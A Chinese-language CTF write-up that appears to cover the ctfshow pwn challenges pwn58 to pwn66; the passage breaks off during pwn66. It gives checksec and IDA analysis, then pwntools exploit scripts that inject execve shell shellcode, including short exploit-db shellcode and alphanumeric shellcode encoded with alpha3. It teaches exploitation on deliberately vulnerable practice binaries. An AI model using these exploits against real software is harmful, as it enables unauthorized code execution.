#这行代码触发系统调用。通过设置适当的寄存器值（ rax 、rdi、rsi、rdx），syscall指令将执行execve("/bin/sh", NULL, NULL) 系统调用，从而启动一个新的 shell 进程。

总结起来，这段汇编代码的功能是利用系统调用在Linux系统上执行 execve(“/bin/sh”, NULL,NULL) ，即打开一个新的shell进程。与前一个示例相比，这段代码是x86-64架构下的汇编代码，使用通用寄存器进行操作。

from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show',28195)
io.interactive()

$ ./pwn
$ ls
ctfshow_flag

pwn58

Hint：32位无限制

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

32位仅部分开启RELRO，其他保护全关，并且有可读，可写，可执行段

IDA简单分析（这里无法进行反编译，直接看汇编代码）：

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near

s= byte ptr -0A0h
var_C= dword ptr -0Ch
argc= dword ptr  8
argv= dword ptr  0Ch
envp= dword ptr  10h

; __unwind {
lea     ecx, [esp+4]
and     esp, 0FFFFFFF0h
push    dword ptr [ecx-4]
push    ebp
mov     ebp, esp
push    ebx
push    ecx
sub     esp, 0A0h
call    __x86_get_pc_thunk_bx
add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
mov     eax, ds:(stdout_ptr - 804A000h)[ebx]
mov     eax, [eax]
push    0               ; n
push    2               ; modes
push    0               ; buf
push    eax             ; stream
call    _setvbuf
add     esp, 10h
call    _getegid
mov     [ebp+var_C], eax
sub     esp, 4
push    [ebp+var_C]
push    [ebp+var_C]
push    [ebp+var_C]
call    _setresgid
add     esp, 10h
call    logo
sub     esp, 0Ch
lea     eax, (aJustVeryEasyRe - 804A000h)[ebx] ; "Just very easy ret2shellcode&&32bit"
push    eax             ; s
call    _puts
add     esp, 10h
sub     esp, 0Ch
lea     eax, (aAttachIt - 804A000h)[ebx] ; "Attach it!"
push    eax             ; s
call    _puts
add     esp, 10h
sub     esp, 0Ch
lea     eax, [ebp+s]
push    eax             ; s
call    ctfshow
add     esp, 10h
lea     eax, [ebp+s]
call    eax
mov     eax, 0
lea     esp, [ebp-8]
pop     ecx
pop     ebx
pop     ebp
lea     esp, [ecx-4]
retn
; } // starts at 804864C
main endp

看报错应该是这里无法进行反编译，流程其实也能很清楚的看出来，跟之前差不多，看到后面这里

调用了ctfshow函数，经验之谈漏洞点应该是在这的：

int __cdecl ctfshow(char *s)
{
  gets(s);
  return puts(s);
}

看到有gets函数的调用，看汇编：

; int __cdecl ctfshow(char *s)
public ctfshow
ctfshow proc near

var_4= dword ptr -4
s= dword ptr  8

; __unwind {
push    ebp
mov     ebp, esp
push    ebx
sub     esp, 4
call    __x86_get_pc_thunk_bx
add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
sub     esp, 0Ch
push    [ebp+s]         ; s
call    _gets
add     esp, 10h
sub     esp, 0Ch
push    [ebp+s]         ; s
call    _puts
add     esp, 10h
nop
mov     ebx, [ebp+var_4]
leave
retn
; } // starts at 8048516
ctfshow endp

我们可以看出对gets函数调用，参数对应的是 [ebp+s] 的地址,也就是在返回地址上一栈内存单元处，对应主函数中，可以看到:gets 函数写入的地址即为 [ebp+s] 对应的地址，同时我们注意到:call 的地址即为 [ebp+s] 所指向的地址到这里思路就很明显了，我们先输入的内容会被 get 读取，存到内存 [ebp+s] 中，然后在函数在后面的时候，会调用这一部分内容。所以我们只要写入 shellcode ，函数后面就会调用 shellcode 。至于[ebp+s] 是指向哪里，我们可以看到 main 函数中没有 offset 变量，所以这 [ebp+s] 指的是局部变量，那就是在栈中，而 nx 保护没有开启，所以 shellcode 在栈上也可以执行。

故我们可以直接使用pwntools的shellcraft模块帮我们生成一个shellcode进行攻击。

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28188)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 1340
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : Use shellcode to get shell!
    * *************************************
Just very easy ret2shellcode&&32bit
Attach it!
jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX̀
$ ls
ctfshow_flag

pwn59

Hint：64位无限制

分析流程同上，需要注意的是在生成shellcode的时候需要注明架构为64位

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28188)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 1371
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : Use shellcode to get shell!
    * *************************************
Just very easy ret2shellcode&&64bit
Attach it!
jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05
$ ls
ctfshow_flag

pwn60

Hint：入门难度shellcode

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No
  Debuginfo:  Yes

32位保护仅部分开启RELRO，其余保护全关，并且有可读，可写，可执行段

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("CTFshow-pwn can u pwn me here!!");
  gets(s);
  strncpy(buf2, s, 0x64u);
  printf("See you ~");
  return 0;
}

可以看到有gets函数，还是明显的栈溢出漏洞

pwndbg> cyclic 300
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
pwndbg> c
Continuing.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
See you ~
...
*EIP  0x62616164 ('daab')
...
pwndbg> cyclic -l daab
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112

下面还使用strncpy函数将对应的字符串复制到 buf2 处。跟进查看：

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7B↑o
.bss:0804A080 _bss            ends

可以看到buf2在bss段

gdb查看一下：

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
     Start        End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
 0x8048000  0x8049000 r-xp     1000       0 pwn
 0x8049000  0x804a000 r--p     1000       0 pwn
 0x804a000  0x804b000 rw-p     1000    1000 pwn
 0x9c66000  0x9c88000 rw-p    22000       0 [heap]

bss 段对应的段没有可执行权限（ubunt18.02可以）

我们就可以控制程序执行 shellcode，也就是先读入 shellcode，然后控制程序执行 bss 段处的shellcode。

payload = shellcode.ljust(112,'a') + p32(buf2_addr) 
#shellcode.ljust(112, 'a') ：这是使用ljust函数将 shellcode 字符串填充到长度为112的字符串中，并用字母 'a' 填充剩余的空白部分。
#当然，按照之前的写法，我们只需要先将shellcode的长度打印出来，然后让其总长度为112 ，只是我们使用上述函数可以帮助我们一步到位
shellcode = asm(shellcraft.sh())
lenth = len(shellcode)
print(lenth)
payload = shellcode + cyclic(112-lenth) + p32(buf2_addr)

from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
buf2_addr=0x0804A080
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(112,b'a')+p32(buf2_addr)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : There are backdoor functions here!
    * *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn61

Hint：输出了什么？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       and64-64-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX diasabled
  PIE:        PIE enabled
  Stack:      Executable
  RWX:        Has RWX segments

64位程序，关闭栈保护、NX保护，有可读可写可执行的段

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *__bss_start; // rdi
  _QWORD v5[2]; // [rsp+0h] [rbp-10h] BYREF

  v5[0] = 0;
  v5[1] = 0;
  __bss_start = _bss_start;
  setvbuf(_bss_start, 0, 1, 0);
  logo(__bss_start, 0);
  puts("Welcome to CTFshow!");
  printf("What's this : [%p] ?\n", v5);
  puts("Maybe it's useful ! But how to use it?");
  gets(v5);
  return 0;
}

v5那里存在栈溢出，程序还把v5的地址值给打印出来了

低地址 ──────────────────────────────────────► 高地址
[v5缓冲区(16B) | saved rbp(8B) | 返回地址(8B)]

我们可以先将其接收保存下来，当然，由于开启了PIE保护，该地址会每次变动：

$ ./pwn
What's this : [0x7ffc4dff34e0] ?
$ ./pwn
What's this : [0x7ffef7a4eb20] ?

我们只需要在exp中接收，然后将其保存下来，以便与每次我们使用的都是正确的v5的地址

io.recvuntil('[')
v5 = io.recvuntil(']', drop=True)
v5 = int(v5, 16)

输入流中首先接收数据直到遇到 ‘[‘ 字符为止。
接下来再次从输入流中接收数据，直到遇到 ‘]’ 字符为止，将其保存在变量 v5 中。
最后，将变量 v5 解析为一个十六进制的整数，并将其存储回变量 v5 中。

这样我们第一步的目的就达到了

接下来我们接着看：

call    _gets
mov     eax, 0
leave
retn
; } // starts at 7FD
main endp

leave的作用相当于MOV SP,BP；POP BP。

move rsp,rbp
rsp = v5_addr + 0x10
POP RBP
rsp = v5_addr + 0x18
因为leave指令会释放栈空间，因此我们不能使用v5后面的24字

/* execve(path='/bin///sh', argv=['sh'], envp=0) */
      /* push b'/bin///sh\x00' */
      push 0x68
      mov rax, 0x732f2f2f6e69622f
      push rax
      mov rdi, rsp
      /* push argument array ['sh\x00'] */
      /* push b'sh\x00' */
      push 0x1010101 ^ 0x6873
      xor dword ptr [rsp], 0x1010101
      xor esi, esi /* 0 */
      push rsi /* null terminate */
      push 8
      pop rsi
      add rsi, rsp
      push rsi /* 'sh\x00' */
      mov rsi, rsp
      xor edx, edx /* 0 */
      /* call execve() */
      push 59 /* 0x3b */
      pop rax
      syscall

而生成的shellcode中对rsp进行了其他操作，所以leave指令会对shellcode的执行造成影响。故v5中不能存放shellcode，v5后的8个字节也不能存放（这里需要存放返回地址）。故我们的shellcode只能放在v5首地址后的 24+8后的地址。

低地址 ──────────────────────────────────────► 高地址
[v5缓冲区(16B) | saved rbp(8B) | 返回地址(8B)]

构造的payload为：

payload = cyclic(0x10+8) + p64(v5 + 24+8) + shellcode

这里需要理解一下

from pwn import *
context(arch = 'amd64',os = 'linux')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28205)
io.recvuntil(b'[')
v5 = io.recvuntil(b']', drop=True) #drop=True是为去掉"]"
v5 = int(v5, 16) #16进制转换10进制
shellcode = asm(shellcraft.sh())
payload = cyclic(0x10+8) + p64(v5 + 32) + shellcode
io.sendline(payload)
io.recv()
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 147
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn62

Hint：短了一点

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        PIE enabled
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

和上一题一样，IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *__bss_start; // rdi
  _QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[0] = 0;
  buf[1] = 0;
  __bss_start = _bss_start;
  setvbuf(_bss_start, 0, 1, 0);
  logo(__bss_start, 0);
  puts("Welcome to CTFshow!");
  printf("What's this : [%p] ?\n", buf);
  puts("Maybe it's useful ! But how to use it?");
  read(0, buf, 0x38u);
  return 0;
}

整体逻辑还是差不多，不同之处为变量名字换了（这个并不影响），还有不同的是最后读入换成了read函数，并且限制为0x38

buf分配的空间为0x10，而read的大小为0x38，明显存在溢出，因此我们仍能够使用read来进行栈溢出

偏移量还是为 0x10+8=24。

计算允许的SHELLCODE长度【0x38 -（0x10+8）- 8 = 24 】（0x10+8）为造成溢出填充的垃圾数据，后面8为是shellcode地址的长度。因此构建的shellcode必须在24位以内。

直接使用pwntools生成的继续打肯定是不行了，我们需要去寻找符合条件的shellcode，甚至可以自己尝试写更短的（这里随便给出一个符合题目要求的）：

24 bytes
https://www.exploit-db.com/shellcodes/43550
shellcode_x64 =
"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x5
2\x57\x54\x5e\x0f\x05"

https://www.exploit-db.com/shellcodes/46907
global _start
section .text
_start:
xor rsi,rsi
push rsi
mov rdi,0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscall
================================
Instruction for nasm compliation
================================

nasm -f elf64 shellcode.asm -o shellcode.o
ld shellcode.o -o shellcode

===================
objdump disassembly
===================

Disassembly of section .text:

0000000000401000 <_start>:
  401000:48 31 f6             xor    %rsi,%rsi
  401003:56                   push   %rsi
  401004:48 bf 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rdi
  40100b:2f 73 68 
  40100e:57                   push   %rdi
  40100f:54                   push   %rsp
  401010:5f                   pop    %rdi
  401011:6a 3b                pushq  $0x3b
  401013:58                   pop    %rax
  401014:99                   cltd   
  401015:0f 05                syscall 

==================
23 Bytes Shellcode
==================

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

======================
C Compilation And Test
======================

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

*/

#include 

unsigned char shellcode[] = \
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";
int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
if args['REMOTE']:
io = remote('pwn.challenge.ctf.show', 28189)
else:
io = process('./pwn')
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
io.recvuntil(b'[')
buf_addr = io.recvuntil(b']', drop=True)
buf_addr = int(buf_addr, 16)
payload=cyclic(0x10+8)+p64(buf_addr + 32)+shellcode
io.sendline(payload)
io.interactive()

简单的增加了一个条件语句，根据参数中是否存在 ‘REMOTE’ 键的值，选择是通过远程连接还是本地进程来运行程序。这样的设计可以根据需要动态选择程序的运行方式，方便在不同环境下进行调试和测试。

$ python3 exp.py
[+] Starting local process './pwn': pid 62
[*] '/CTFshow_pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
 ?
Maybe it's useful ! But how to use it?
$ ls
ctfshow_flag

pwn63

Hint：又短了一点

checksec检查保护

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

和上一题一样，IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *__bss_start; // rdi
  _QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[0] = 0;
  buf[1] = 0;
  __bss_start = _bss_start;
  setvbuf(_bss_start, 0, 1, 0);
  logo(__bss_start, 0);
  puts("Welcome to CTFshow!");
  printf("What's this : [%p] ?\n", buf);
  puts("Maybe it's useful ! But how to use it?");
  read(0, buf, 0x37u);
  return 0;
}

只剩23位了，还可以用上一道
或者
# 23 bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
if args['REMOTE']:
io = remote('pwn.challenge.ctf.show', 28114)
else:
io = process('./pwn')
shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
io.recvuntil(b'[')
buf_addr=io.recvuntil(b']',drop=True)
buf_addr=int(buf_addr,16)
payload=cyclic(0x10+8)+p64(buf_addr+32)+shellcode
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 80
[*] Switching to interactive mode
 ?
Maybe it's useful ! But how to use it?
$ ls
ctfshow_flag

pwn64

Hint：有时候开启某种保护并不代表这条路不通

checksec检查保护

$ chmod +x pwn
$ checksec pwn
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位程序，开启了NX，部分开启RELRO

按照题目描述，这里开启了NX，应该是不能执行shellcode了的

我们接着IDA查看一下main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // [esp+8h] [ebp-10h]

  buf = mmap(0, 0x400u, 7, 34, 0, 0);
  alarm(0xAu);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  puts("Some different!");
  if ( read(0, buf, 0x400u) < 0 )
  {
    puts("Illegal entry!");
    exit(1);
  }
  ((void (*)(void))buf)();
  return 0;
}

buf = mmap(0, 0x400u, 7, 34, 0, 0); ：这行代码使用 mmap 函数分配一块内存区域，将其起始地址保存在变量 buf 中。 mmap 函数通常用于在内存中分配一块连续的地址空间，并指定相应的权限和属性。

这里buf用mmap映射了地址，可读可写可执行，直接传入shellcode，下面 ((void (*)(void))buf)();

调用了buf，运行shellcode 即可获取shell。

所以说有时候需要具体情况具体分析，东西并不是一成不变的。

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
if args['REMOTE']:
io = remote('pwn.challenge.ctf.show', 28114)
else:
io = process('./pwn')
shellcode=asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 109
[*] Switching to interactive mode
Some different!
$ ls
ctfshow_flag

pwn65

Hint：你是一个好人

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Full RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        PIE enabled
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

64位程序，开启PIE与完全开启RELRO 有RWX: Has RWX segments

IDA查看main函数（无法反编译，看汇编代码）：

.text:0000000000001155 buf             = byte ptr -410h 
#buf=0x410

.text:0000000000001182                 mov     edx, 400h       ; nbytes
.text:0000000000001187                 mov     rsi, rax        ; buf
.text:000000000000118A                 mov     edi, 0          ; fd
.text:000000000000118F                 mov     eax, 0
.text:0000000000001194                 call    _read
#read(0,buf,0x400)

.text:0000000000001199    mov     [rbp+var_8], eax  ; 把 eax 的值存到栈变量 var_8 中
.text:000000000000119C    cmp     [rbp+var_8], 0    ; 比较 var_8 和 0
.text:00000000000011A0    jg      short loc_11AC    ; 如果 var_8 > 0，则跳转到 loc_11AC（判断输入长度）
.text:00000000000011A2    mov     eax, 0            ; 否则（var_8 ≤ 0），将 eax 设为 0
.text:00000000000011A7    jmp     locret_1254       ; 无论如何，最终跳转到 locret_1254

要让程序继续执行下去，得跳转到loc_11AC：

.text:00000000000011AC loc_11AC:                               ; CODE XREF: main+4B↑j
.text:00000000000011AC                 mov     [rbp+var_4], 0
.text:00000000000011B3                 jmp     loc_123A
#将栈上的变量 var_4（位于 rbp - 4 处，4 字节大小）赋值为 0,无条件跳转到 loc_123A

loc_123A：

.text:000000000000123A loc_123A:                               ; CODE XREF: main+5E↑j
.text:000000000000123A                 mov     eax, [rbp+var_4]
.text:000000000000123D                 cmp     eax, [rbp+var_8]
.text:0000000000001240                 jl      loc_11B8
.text:0000000000001246                 lea     rax, [rbp+buf]
.text:000000000000124D                 call    rax
.text:000000000000124F                 mov     eax, 0
#如果 var_4 < var_8[即0<输入字符串长度]（jl = jump if less than），则跳转到 loc_11B8 标签处,否则获取 buf 的地址 → 调用 buf 中的内容 → 设置返回值 0【字符串地址去执行，可以写入shellcode】

loc_11B8【用于验证缓冲区中的字符是否在 小写字母 a-z 范围内】:

.text:00000000000011B8 loc_11B8:                               ; CODE XREF: main+EB↓j
.text:00000000000011B8                 mov     eax, [rbp+var_4]
#将 var_4 的值（通常是索引计数器）加载到 eax【作为缓冲区 buf 的索引，用于遍历字符】
.text:00000000000011BB                 cdqe
#将eax（32位）符号扩展为 rax（64位）【因为后续需要用rax作为内存偏移，确保负数索引正确转换】
.text:00000000000011BD                 movzx   eax, [rbp+rax+buf]
#从 buf[var_4] 位置读取一个字节（就是读取第 var_4 个字符），并零扩展到 eax【rbp + buf 是缓冲区基址，+ rax 是偏移量（即 var_4）】
.text:00000000000011C5                 cmp     al, 60h ; '`'
.text:00000000000011C7                 jle     short loc_11DA
#检查字符是否 ≤ 60h（即反引号 `）若是，则跳转到 loc_11DA（处理非法字符）。
.text:00000000000011C9                 mov     eax, [rbp+var_4]
.text:00000000000011CC                 cdqe
.text:00000000000011CE                 movzx   eax, [rbp+rax+buf]
.text:00000000000011D6                 cmp     al, 7Ah ; 'z'
.text:00000000000011D8                 jle     short loc_1236
#检查字符是否 ≤ 7Ah（即小写字母 z）。若是（字符在 a-z 范围内），跳转到 loc_1236（处理合法字符）。

loc_11DA【检查字符是否属于 大写字母 A-Z 范围】：

.text:00000000000011DA loc_11DA:                               ; CODE XREF: main+72↑j
.text:00000000000011DA                 mov     eax, [rbp+var_4]
.text:00000000000011DD                 cdqe
.text:00000000000011DF                 movzx   eax, [rbp+rax+buf]
.text:00000000000011E7                 cmp     al, 40h ; '@'
.text:00000000000011E9                 jle     short loc_11FC
.text:00000000000011EB                 mov     eax, [rbp+var_4]
.text:00000000000011EE                 cdqe
.text:00000000000011F0                 movzx   eax, [rbp+rax+buf]
.text:00000000000011F8                 cmp     al, 5Ah ; 'Z'
.text:00000000000011FA                 jle     short loc_1236

loc_11FC【检查字符是否属于数字 0-9 或特殊符号 +-/\* 等】：

.text:00000000000011FC loc_11FC:                               ; CODE XREF: main+94↑j
.text:00000000000011FC                 mov     eax, [rbp+var_4]
.text:00000000000011FF                 cdqe
.text:0000000000001201                 movzx   eax, [rbp+rax+buf]
.text:0000000000001209                 cmp     al, 2Fh ; '/'
.text:000000000000120B                 jle     short loc_121E
.text:000000000000120D                 mov     eax, [rbp+var_4]
.text:0000000000001210                 cdqe
.text:0000000000001212                 movzx   eax, [rbp+rax+buf]
.text:000000000000121A                 cmp     al, 5Ah ; 'Z'
.text:000000000000121C                 jle     short loc_1236
#如果小于等于 0x2F，跳到 loc_121E
#如果小于等于 0x5A，还是跳到 loc_1236

.text:000000000000121E loc_121E:                               ; CODE XREF: main+B6↑j
.text:000000000000121E                 lea     rdi, format     ; "Good,but not right"
.text:0000000000001225                 mov     eax, 0
.text:000000000000122A                 call    _printf
.text:000000000000122F                 mov     eax, 0
.text:0000000000001234                 jmp     short locret_1254
.text:0000000000001236 ; ---------------------------------------------------------------------------
.text:0000000000001236
.text:0000000000001236 loc_1236:                               ; CODE XREF: main+83↑j
.text:0000000000001236                                         ; main+A5↑j ...
.text:0000000000001236                 add     [rbp+var_4], 1
.text:000000000000123A

.text:0000000000001254
.text:0000000000001254 locret_1254:                            ; CODE XREF: main+52↑j
.text:0000000000001254                                         ; main+DF↑j
.text:0000000000001254                 leave
.text:0000000000001255                 retn
.text:0000000000001255 ; } // starts at 1155
.text:0000000000001255 main            endp

总结：输入的字符大致限定在了(60,74)||(2f,5a)两个范围里，都是可打印字符，但是我们的 shellcode 实际上是会包含一些不可打印字符的。string.printable，就是可见字符shellcode。因此这里需要借助到一个工具：alpha3【git clone https://github.com/TaQini/alpha3.git】

$ sudo nano exp.py

from pwn import *
context.arch='amd64'
shellcode = asm(shellcraft.sh())
with open('shellcode', 'bw') as f:
f.write(shellcode)

$ python3 exp.py

当前目录下会生成一个名为 shellcode 的二进制文件

$ xxd shellcode  # 以十六进制形式查看
00000000: 6a68 48b8 2f62 696e 2f2f 2f73 5048 89e7  jhH./bin///sPH..
00000010: 6872 6901 0181 3424 0101 0101 31f6 566a  hri...4$....1.Vj
00000020: 085e 4801 e656 4889 e631 d26a 3b58 0f05  .^H..VH..1.j;X..
$ cat shellcode
jhH¸/bin///sPH槲i4$^H啈䲒j;X

使用pwntools生成一个shellcode，没法直接输出，有乱码，将shellcode重定向到一个文件中切换到alpha3目录中，使用alpha3生成string.printable

$ cd alpha3
root@pwn_challenge:/CTFshow_pwn/alpha3$ python2 ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

python3不行，得用Python2【24.04已经没有Python2了，用20.04的】

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=process('./pwn')
shellcode=b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.sendafter(b'Input you Shellcode\n',shellcode) #sendline会使用到换行符，这个也是不可打印字符，要使用send
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 239
[*] Switching to interactive mode

$ ls
ctfshow_flag

pwn66

原题来自：starctf_2019_babyshell

Hint：简单的shellcode？不对劲，十分得有十二分的不对劲

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x400000)
  Stripped:   No

64位关闭栈保护与PIE

从运行的程序的hint以及题目描述中我们能看到与shellcode有关，但是是有限制的shellcode

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+8h] [rbp-8h]

  init(argc, argv, envp);
  logo();
  buf = mmap(0, 0x1000u, 7, 34, 0, 0);
  puts("Your shellcode is :");
  read(0, buf, 0x200u);
  if ( !(unsigned int)check(buf) )
  {
    printf(" ERROR !");
    exit(0);
  }
  ((void (__fastcall *)(void *))buf)(buf);
  return 0;
}

buf存在溢出点，往buf里写入shellcode，然后程序会执行shellcode

但是有一个check函数，跟进查看：

__int64 __fastcall check(_BYTE *buf)
{
  _BYTE *i; // [rsp+18h] [rbp-10h]

  while ( *buf )
  {
    for ( i = &unk_400F20; *i && *i != *buf; ++i ) 
      ;
    if ( !*i )  //  *i == 0，即字符集遍历结束（遇到 '\0'）
      return 0;
    ++buf;
  }
  return 1;
}

这个函数会对我们输入的shellcode进行检查，我们输入的shellcode的每一位字符要在unk_400F20中，检查的时候*i==0会退出，可以使用\x00来绕过。

继续跟进unk_400F20：

.rodata:0000000000400F20 unk_400F20      db  5Ah ; Z             ; DATA XREF: check+8↑o
.rodata:0000000000400F21                 db  5Ah ; Z
.rodata:0000000000400F22                 db  4Ah ; J
.rodata:0000000000400F23                 db  20h
.rodata:0000000000400F24                 db  6Ch ; l
.rodata:0000000000400F25                 db  6Fh ; o
.rodata:0000000000400F26                 db  76h ; v
.rodata:0000000000400F27                 db  65h ; e
.rodata:0000000000400F28                 db  73h ; s
.rodata:0000000000400F29                 db  20h
.rodata:0000000000400F2A                 db  73h ; s
